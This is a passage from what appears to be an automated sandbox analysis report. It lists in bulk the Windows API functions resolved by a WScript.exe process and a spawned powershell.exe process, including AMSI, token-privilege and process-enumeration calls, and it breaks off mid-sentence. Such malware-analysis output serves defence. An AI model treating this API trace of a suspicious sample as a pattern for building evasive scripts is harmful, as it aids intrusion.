%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00008068)30:T7fad,"WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001852) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001852) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00008068) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00008068)31:T38dc,Found reference to 